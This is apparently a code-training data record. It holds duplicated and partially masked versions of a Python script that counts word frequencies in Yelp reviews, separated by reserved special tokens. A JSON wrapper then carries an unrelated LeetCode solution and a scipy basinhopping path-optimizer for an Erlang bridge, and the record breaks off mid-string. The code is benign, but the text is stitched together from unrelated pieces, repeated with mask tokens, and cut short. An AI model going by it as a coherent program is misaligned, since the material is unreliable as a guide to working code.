toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=
csv.QUOTE_MINIMAL, lineterminator='\n')
print('Creating List....')
readCSV = list(csv.reader(csvfile, delimiter=','))
print('Finished creating list....')
print('Number of examples:', len(readCSV))
excludeSet = {REVIEW_ID_COL}
fieldNames = readCSV[0]
print(fieldNames)
readForOneHot = readCSV[1:]
print('Going through the words for the frequencies.')
for row in readForOneHot:
getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)
print(len(readForOneHot))
print('creating file with word frequencies')
wrdFrq = open('yelp_word_frequencies.csv', 'w')
wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting
=csv.QUOTE_MINIMAL)
wrdFrqWriter.writerow(['word', 'frequency'])
for wrd in wordFrequencies:
wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])
<|reserved_special_token_1|>
<|reserved_special_token_0|>
import csv
import time, datetime
import calendar
from collections import defaultdict
import chardet
import re
REVIEW_ID_COL = 0
USER_ID_COL = 1
BUSINESS_ID_COL = 2
STARS_COL = 3
DATE_COL = 4
TEXT_COL = 5
USEFUL_COL = 6
FUNNY_COL = 7
COOL_COL = 8
pattern = re.compile('\\W')
with open('yelp_review.csv', encoding='utf8') as csvfile:
wordFrequencies = defaultdict(int)
def beautifyDate(res):
dt = time.strptime(res, '%Y-%m-%d')
return calendar.timegm(dt)
def getAsciiFriendlyString(text, wordFrequencies):
"""
Things to note about the code: this code include punctuation and immediately adds non ASCII
friendly into the <unk> pile
"""
strings = text.lower()
strings = strings.split(' ')
for wrd in strings:
try:
wrd = re.sub(pattern, '', wrd)
wrd.encode('ascii')
wordFrequencies[wrd] += 1
except UnicodeEncodeError:
wordFrequencies['<unk>'] += 1
toyTrain = open('100k_numDate_train.csv', 'w')
toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=
csv.QUOTE_MINIMAL, lineterminator='\n')
print('Creating List....')
readCSV = list(csv.reader(csvfile, delimiter=','))
print('Finished creating list....')
print('Number of examples:', len(readCSV))
excludeSet = {REVIEW_ID_COL}
fieldNames = readCSV[0]
print(fieldNames)
readForOneHot = readCSV[1:]
print('Going through the words for the frequencies.')
for row in readForOneHot:
getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)
print(len(readForOneHot))
print('creating file with word frequencies')
wrdFrq = open('yelp_word_frequencies.csv', 'w')
wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting
=csv.QUOTE_MINIMAL)
wrdFrqWriter.writerow(['word', 'frequency'])
for wrd in wordFrequencies:
wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])
<|reserved_special_token_1|>
"""
This file goes through the data to find the frequencies of words in the corpus
"""
import csv
import time, datetime
import calendar
from collections import defaultdict
import chardet
import re
REVIEW_ID_COL = 0;
USER_ID_COL = 1
BUSINESS_ID_COL = 2
STARS_COL = 3
DATE_COL = 4
TEXT_COL = 5
USEFUL_COL = 6
FUNNY_COL = 7
COOL_COL = 8
pattern = re.compile('\W')
with open("yelp_review.csv", encoding="utf8") as csvfile:
wordFrequencies = defaultdict(int)
def beautifyDate(res):
# This function returns a floating point that gives the UTC
# print (res)
dt = time.strptime(res, '%Y-%m-%d')
return calendar.timegm(dt)
def getAsciiFriendlyString(text, wordFrequencies):
"""
Things to note about the code: this code include punctuation and immediately adds non ASCII
friendly into the <unk> pile
"""
strings = text.lower()
strings = strings.split(" ")
for wrd in strings:
try:
wrd = re.sub(pattern, '', wrd)
#print (wrd)
wrd.encode('ascii')
wordFrequencies[wrd] += 1
except UnicodeEncodeError:
#print (":( ", wrd)
wordFrequencies["<unk>"] += 1
#getAsciiFriendlyString("mooing!@ cows are the best", wordFrequencies)
#print (len(wordFrequencies))
#for wrd in wordFrequencies:
#print (wrd, wordFrequencies[wrd])
#wrdFrqWriter.writerow([wrd])
toyTrain = open("100k_numDate_train.csv", 'w')
toyWriter = csv.writer(toyTrain, delimiter=',',
quotechar='|', quoting=csv.QUOTE_MINIMAL, lineterminator = '\n')
print ("Creating List....")
readCSV = list(csv.reader(csvfile, delimiter=','))
print ("Finished creating list....")
print ("Number of examples:", len(readCSV))
excludeSet = {REVIEW_ID_COL};
fieldNames = readCSV[0]
print(fieldNames)
readForOneHot = readCSV[1:]
print ("Going through the words for the frequencies.")
# Go through the set, finding the frequencies
for row in readForOneHot:
getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)
print (len(readForOneHot))
# Write the frequencies to a file (so we don't have to do this again.....)
print ("creating file with word frequencies")
wrdFrq = open("yelp_word_frequencies.csv", 'w')
wrdFrqWriter = csv.writer(wrdFrq, delimiter=',',
quotechar='|', quoting=csv.QUOTE_MINIMAL)
wrdFrqWriter.writerow(["word", "frequency"])
for wrd in wordFrequencies:
wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])
|
flexible
|
{
"blob_id": "ba54b3a148a34ced74a337665ddd5f2d9084553b",
"index": 1489,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwith open('yelp_review.csv', encoding='utf8') as csvfile:\n wordFrequencies = defaultdict(int)\n\n def beautifyDate(res):\n dt = time.strptime(res, '%Y-%m-%d')\n return calendar.timegm(dt)\n\n def getAsciiFriendlyString(text, wordFrequencies):\n \"\"\"\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\n\t\tfriendly into the <unk> pile\n\t\t\"\"\"\n strings = text.lower()\n strings = strings.split(' ')\n for wrd in strings:\n try:\n wrd = re.sub(pattern, '', wrd)\n wrd.encode('ascii')\n wordFrequencies[wrd] += 1\n except UnicodeEncodeError:\n wordFrequencies['<unk>'] += 1\n toyTrain = open('100k_numDate_train.csv', 'w')\n toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=\n csv.QUOTE_MINIMAL, lineterminator='\\n')\n print('Creating List....')\n readCSV = list(csv.reader(csvfile, delimiter=','))\n print('Finished creating list....')\n print('Number of examples:', len(readCSV))\n excludeSet = {REVIEW_ID_COL}\n fieldNames = readCSV[0]\n print(fieldNames)\n readForOneHot = readCSV[1:]\n print('Going through the words for the frequencies.')\n for row in readForOneHot:\n getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\n print(len(readForOneHot))\n print('creating file with word frequencies')\n wrdFrq = open('yelp_word_frequencies.csv', 'w')\n wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting\n =csv.QUOTE_MINIMAL)\n wrdFrqWriter.writerow(['word', 'frequency'])\n for wrd in wordFrequencies:\n wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\n",
"step-3": "<mask token>\nREVIEW_ID_COL = 0\nUSER_ID_COL = 1\nBUSINESS_ID_COL = 2\nSTARS_COL = 3\nDATE_COL = 4\nTEXT_COL = 5\nUSEFUL_COL = 6\nFUNNY_COL = 7\nCOOL_COL = 8\npattern = re.compile('\\\\W')\nwith open('yelp_review.csv', encoding='utf8') as csvfile:\n wordFrequencies = defaultdict(int)\n\n def beautifyDate(res):\n dt = time.strptime(res, '%Y-%m-%d')\n return calendar.timegm(dt)\n\n def getAsciiFriendlyString(text, wordFrequencies):\n \"\"\"\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\n\t\tfriendly into the <unk> pile\n\t\t\"\"\"\n strings = text.lower()\n strings = strings.split(' ')\n for wrd in strings:\n try:\n wrd = re.sub(pattern, '', wrd)\n wrd.encode('ascii')\n wordFrequencies[wrd] += 1\n except UnicodeEncodeError:\n wordFrequencies['<unk>'] += 1\n toyTrain = open('100k_numDate_train.csv', 'w')\n toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=\n csv.QUOTE_MINIMAL, lineterminator='\\n')\n print('Creating List....')\n readCSV = list(csv.reader(csvfile, delimiter=','))\n print('Finished creating list....')\n print('Number of examples:', len(readCSV))\n excludeSet = {REVIEW_ID_COL}\n fieldNames = readCSV[0]\n print(fieldNames)\n readForOneHot = readCSV[1:]\n print('Going through the words for the frequencies.')\n for row in readForOneHot:\n getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\n print(len(readForOneHot))\n print('creating file with word frequencies')\n wrdFrq = open('yelp_word_frequencies.csv', 'w')\n wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting\n =csv.QUOTE_MINIMAL)\n wrdFrqWriter.writerow(['word', 'frequency'])\n for wrd in wordFrequencies:\n wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\n",
"step-4": "<mask token>\nimport csv\nimport time, datetime\nimport calendar\nfrom collections import defaultdict\nimport chardet\nimport re\nREVIEW_ID_COL = 0\nUSER_ID_COL = 1\nBUSINESS_ID_COL = 2\nSTARS_COL = 3\nDATE_COL = 4\nTEXT_COL = 5\nUSEFUL_COL = 6\nFUNNY_COL = 7\nCOOL_COL = 8\npattern = re.compile('\\\\W')\nwith open('yelp_review.csv', encoding='utf8') as csvfile:\n wordFrequencies = defaultdict(int)\n\n def beautifyDate(res):\n dt = time.strptime(res, '%Y-%m-%d')\n return calendar.timegm(dt)\n\n def getAsciiFriendlyString(text, wordFrequencies):\n \"\"\"\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\n\t\tfriendly into the <unk> pile\n\t\t\"\"\"\n strings = text.lower()\n strings = strings.split(' ')\n for wrd in strings:\n try:\n wrd = re.sub(pattern, '', wrd)\n wrd.encode('ascii')\n wordFrequencies[wrd] += 1\n except UnicodeEncodeError:\n wordFrequencies['<unk>'] += 1\n toyTrain = open('100k_numDate_train.csv', 'w')\n toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=\n csv.QUOTE_MINIMAL, lineterminator='\\n')\n print('Creating List....')\n readCSV = list(csv.reader(csvfile, delimiter=','))\n print('Finished creating list....')\n print('Number of examples:', len(readCSV))\n excludeSet = {REVIEW_ID_COL}\n fieldNames = readCSV[0]\n print(fieldNames)\n readForOneHot = readCSV[1:]\n print('Going through the words for the frequencies.')\n for row in readForOneHot:\n getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\n print(len(readForOneHot))\n print('creating file with word frequencies')\n wrdFrq = open('yelp_word_frequencies.csv', 'w')\n wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting\n =csv.QUOTE_MINIMAL)\n wrdFrqWriter.writerow(['word', 'frequency'])\n for wrd in wordFrequencies:\n wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\n",
"step-5": "\"\"\"\r\nThis file goes through the data to find the frequencies of words in the corpus\r\n\"\"\"\r\n\r\nimport csv\r\nimport time, datetime\r\nimport calendar\r\nfrom collections import defaultdict\r\nimport chardet\r\nimport re\r\n\r\nREVIEW_ID_COL = 0;\r\nUSER_ID_COL = 1\r\nBUSINESS_ID_COL = 2\r\nSTARS_COL = 3\r\nDATE_COL = 4\r\nTEXT_COL = 5\r\nUSEFUL_COL = 6\r\nFUNNY_COL = 7\r\nCOOL_COL = 8\r\n\r\npattern = re.compile('\\W')\r\n\r\nwith open(\"yelp_review.csv\", encoding=\"utf8\") as csvfile:\r\n\twordFrequencies = defaultdict(int)\r\n\tdef beautifyDate(res): \r\n\t\t# This function returns a floating point that gives the UTC\r\n\t\t# print (res)\r\n\t\tdt = time.strptime(res, '%Y-%m-%d')\r\n\t\treturn calendar.timegm(dt)\r\n\r\n\tdef getAsciiFriendlyString(text, wordFrequencies):\r\n\t\t\"\"\"\r\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\r\n\t\tfriendly into the <unk> pile\r\n\t\t\"\"\"\r\n\t\tstrings = text.lower()\r\n\t\tstrings = strings.split(\" \")\r\n\t\tfor wrd in strings:\r\n\t\t\ttry:\r\n\t\t\t\twrd = re.sub(pattern, '', wrd)\r\n\t\t\t\t#print (wrd)\r\n\t\t\t\twrd.encode('ascii')\r\n\t\t\t\twordFrequencies[wrd] += 1\r\n\t\t\texcept UnicodeEncodeError:\r\n\t\t\t\t#print (\":( \", wrd)\r\n\t\t\t\twordFrequencies[\"<unk>\"] += 1\r\n\r\n\t#getAsciiFriendlyString(\"mooing!@ cows are the best\", wordFrequencies)\r\n\t#print (len(wordFrequencies))\r\n\t#for wrd in wordFrequencies:\r\n\t\t#print (wrd, wordFrequencies[wrd])\r\n\t\t#wrdFrqWriter.writerow([wrd])\r\n\ttoyTrain = open(\"100k_numDate_train.csv\", 'w')\r\n\ttoyWriter = csv.writer(toyTrain, delimiter=',',\r\n\t\tquotechar='|', quoting=csv.QUOTE_MINIMAL, lineterminator = '\\n')\r\n\tprint (\"Creating List....\")\r\n\treadCSV = list(csv.reader(csvfile, delimiter=','))\r\n\tprint (\"Finished creating list....\")\r\n\tprint (\"Number of examples:\", len(readCSV))\r\n\texcludeSet = {REVIEW_ID_COL};\r\n\r\n\tfieldNames = readCSV[0]\r\n\tprint(fieldNames)\r\n\r\n\treadForOneHot = readCSV[1:]\r\n\r\n\tprint (\"Going through the words for the frequencies.\")\r\n\t# Go through the set, finding the frequencies\r\n\tfor row in readForOneHot:\r\n\t\tgetAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\r\n\r\n\tprint (len(readForOneHot))\r\n\t# Write the frequencies to a file (so we don't have to do this again.....)\r\n\tprint (\"creating file with word frequencies\")\r\n\r\n\twrdFrq = open(\"yelp_word_frequencies.csv\", 'w')\r\n\twrdFrqWriter = csv.writer(wrdFrq, delimiter=',',\r\n\t\tquotechar='|', quoting=csv.QUOTE_MINIMAL)\r\n\twrdFrqWriter.writerow([\"word\", \"frequency\"])\r\n\tfor wrd in wordFrequencies:\r\n\t\twrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\r\n\r\n\r\n\r\n\r\n\t\t\r\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
class Solution:
def uncommonFromSentences(self, A: str, B: str) ->List[str]:
word_count = {}
A = A.split()
B = B.split()
whole = A + B
for word in whole:
if word not in word_count:
word_count[word] = 1
else:
word_count[word] += 1
return [word for word in word_count if word_count[word] == 1]
|
normal
|
{
"blob_id": "09420360ddcf2f74c2e130b4e09ae2a959e42e50",
"index": 8305,
"step-1": "<mask token>\n",
"step-2": "class Solution:\n <mask token>\n",
"step-3": "class Solution:\n\n def uncommonFromSentences(self, A: str, B: str) ->List[str]:\n word_count = {}\n A = A.split()\n B = B.split()\n whole = A + B\n for word in whole:\n if word not in word_count:\n word_count[word] = 1\n else:\n word_count[word] += 1\n return [word for word in word_count if word_count[word] == 1]\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
from erlport.erlterms import Atom
from scipy.optimize import basinhopping
import numpy as np
import qsim
class Bounds(object):
'''Required for acceptance testing in scipy.optimize.basinhopping'''
def __init__(self, xmin, xmax, costs):
self.xmax = xmax
self.xmin = xmin
self.costs = costs
def is_valid(self, x):
tmax = bool(np.all(x <= self.xmax))
tmin = bool(np.all(x >= self.xmin))
in_order = [x[i] + c <= x[i+1] for i, c in enumerate(self.costs[1:])]
in_order.append(x[0] <= self.costs[0])
return tmax and tmin and all(in_order)
def __call__(self, **kwargs):
x = kwargs["x_new"]
return self.is_valid(x)
def SLSQP_constraints(self):
'''Return inequality constraints for SLSQP,
in particular, assert that 0 >= x_i - x_i-1 forall i'''
funs = [lambda x: x[i + 1] - x[i] + c
for i, c in enumerate(self.costs[1:])]
funs.append(lambda x: x[0] + self.costs[0])
funs += [lambda x: x[i] for i in xrange(len(self.costs))]
funs += [lambda x: -x[i]]
# im matrix form
n = len(self.costs)
# -x_i <= 0
neg = np.identity(n) * -1
rhs1 = np.ones(n) * self.xmin
rhs1[0] += self.costs[0]
# tmax constraints
tmax = np.identity(n)
rhs2 = np.ones(n) * self.xmax
# cost constraints
A = np.vstack((neg, tmax))
b = np.hstack((rhs1, rhs2))
if n >= 2:
root = [1, -1] + [0] * (n - 2)
z = np.vstack([np.roll(root, i) for i in xrange(n-1)])
rhs3 = np.array(self.costs[1:])
A = np.vstack((A, z))
b = np.hstack((b, rhs3))
return {"slsqp": {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)},
"cobyla": [{'type': 'ineq', 'fun': f} for f in funs]}
def SLSQP_bounds(self):
'''Return bounds as sequence'''
return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]
class Stepper(object):
def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):
self.bounds = bounds
self.stepsize = stepsize
self.max_iter = max_iter
self.deflate = deflate
def __call__(self, x):
y = None
for i in xrange(self.max_iter):
B = self.deflate ** (i + 1)
r = self.stepsize * B
u = np.random.uniform(-r, r, x.shape)
if self.bounds.is_valid(x + u):
x += u
return x
return x
def optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):
'''Erlang Entry Point to Optimization Module'''
B_table = parse_behaviours(behaviours)
BTG = parse_edgelist(btg)
F = parse_prediction(prediction)
path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)
return list(path), map(lambda x: int(x) + start, t.x)
def best_path(paths, Behaviour_Table, BTG, F, dt=1.,
maxiter=20, Acc0=None, method="SLSQP"):
'''
Perform the mixed ILP optimization (without queues, or memory), that yields
the optimal behaviour transition through the BTG.
:paths -> iterable of path-iterables, path-domain for optimization
Each path-iterable contains only behaviour_id.
:Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}
Must contain all behaviours in btg
:btg -> Behaviour Transition Graph, nodes are behaviour_ids,
dictionary of the form {(v_1, v_2): tau_1,2}
:F -> Prediction matrix, of shape (|b_vec|, n),
where n is int(T_max/dt)
:dt -> Prediction time-resolution
:Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.
'''
# Given a particular path, find the optimal times to transition
Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0
Solutions = []
t_max = int((F.shape[-1] - 1) * dt)
initial_T = F.sum() / len(paths[0])
for path in paths:
L, x0, bounds, step_taker = opt_params(path, Behaviour_Table,
BTG, t_max, F, dt=dt, Acc0=Acc0)
minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds(),
'constraints': bounds.SLSQP_constraints()[method.lower()],
}
result = basinhopping(L, x0.copy(),
accept_test=bounds,
take_step=step_taker, stepsize=10*dt,
niter=maxiter, T=initial_T,
interval=20,
minimizer_kwargs=minimizer_kwargs)
Solutions.append(result)
i, BestPath = min(((i, s) for i, s in enumerate(Solutions)),
key=lambda x: x[1].fun)
return paths[i], BestPath
def opt_params(path, BTable, BTG, t_max, F, dt, Acc0,
q_acc_model=qsim.integrator, q_acc_model_args=[], q_model_kwargs={},
q_relief_model=qsim.linear_relief,
deadtime_penalty=4):
'''Generates the components necessary to completely specify
best-path optimization routine. (With a queue model)
Returns:
:Lagrangian Objective Function L(x) -> Contains a Barrier Component
:x0 -> an initial realizeable solution
:bounds -> a Bounds() object, that defines surrounding hyper-volume for x
'''
B = np.vstack(BTable[bid] for bid in path) # Behaviour Matrix (d,4)
taus = transition_costs(path, BTG)
x0 = initial_soln(path, t_max)
bounds = Bounds(0., (F.shape[-1] - 1) * dt, taus)
def cost(x, p=deadtime_penalty):
'''Simulate the queue effects, and then evaluate the objective function
on the simulation result'''
k = F.shape[1] if F.shape[1] > 0 else 1
avg_rates = F.sum(1) / k
Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=BTable,
Acc0=Acc0, relief_mode_kwargs={"rate": 0.5})
cum_Z = np.cumsum(Z, axis=1)
Deadtimes = np.where(Z == 0, 0, 1).sum(1)
return (-obj(x, B, cum_Z, taus, dt=dt)
+ 0.25* avg_rates.dot(Deadtimes) ** 2
- avg_rates.sum()*Acc.sum()) # ????
step_taker = Stepper(bounds, 10, 20)
return cost, x0, bounds, step_taker
# Parsers ###############################################################
def parse_edgelist(edges):
'''[((a, b), tau)] -> {(a, b): tau}'''
return {(a, b): tau for (a, b), tau in edges}
def parse_behaviours(behaviours, dtype=np.float32):
'''[(bid, [bvec])] -> {bid: <bvec>}'''
return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}
def parse_prediction(F):
'''[[float]] -> np.array(...) of same shape'''
return np.array(F) # Might not work, will check back later
# Optimization ###############################################################
def initial_soln(path, t_max):
'''Evenly Distributed, no check for taus'''
j = t_max / len(path)
return np.array([(i + 1) * j for i in xrange(len(path) - 1)])
def transition_costs(path, btg):
'''Sequence of transition costs associated with the prescribed path'''
return [btg[(path[i], path[i+1])] for i in xrange(len(path) - 1)]
def range_sum(cum_F, a, b, penalty=-1000):
'''Penalty brutally dominates any out-of-index operation...'''
z = cum_F.shape[-1] - 1
if (not 0 <= a <= z) or (not 0 <= b <= z):
return np.ones(cum_F.shape[0]) * penalty
return cum_F[..., b] - cum_F[..., a]
def flow_served(cum_F, times, costs, queue_model=None, dt=1.):
'''Times: [t1, ..., td],
costs: [t_{b0, b1}, t_{b1, b2}, ...]
Returns the Fulfillment matrix associated with each behaviour segment.'''
discr_index = lambda x: int(x / dt) - 1
t_steps = [0] + map(discr_index, times)
t_steps.append(cum_F.shape[-1] - 1) # t_max
c_steps = [0] + map(discr_index, costs)
result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i + 1])
for i in xrange(len(costs) + 1)])
return result
def obj(times, B, cum_F, costs, dt=1.):
'''Objective Function for Hillclimbing'''
Z = B * flow_served(cum_F, times, costs, dt=dt)
return Z.sum()
def barrier(times, path, BTG):
'''Handles Linear/causality Constraints with respect to transitions'''
t = [0] + list(times)
S = 0.
for i in xrange(len(path) - 1):
edge = (path[i], path[i + 1])
tau = BTG[edge]
S += min(0, (t[i + 1] - t[i] - tau)) # Only accrue if constraint is voilated
return S
|
normal
|
{
"blob_id": "0f4bdaecef356e01cbef527d4886564d9ef840fa",
"index": 5573,
"step-1": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\n<mask token>\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\n<mask token>\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\n<mask token>\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\n<mask token>\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n",
"step-2": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = 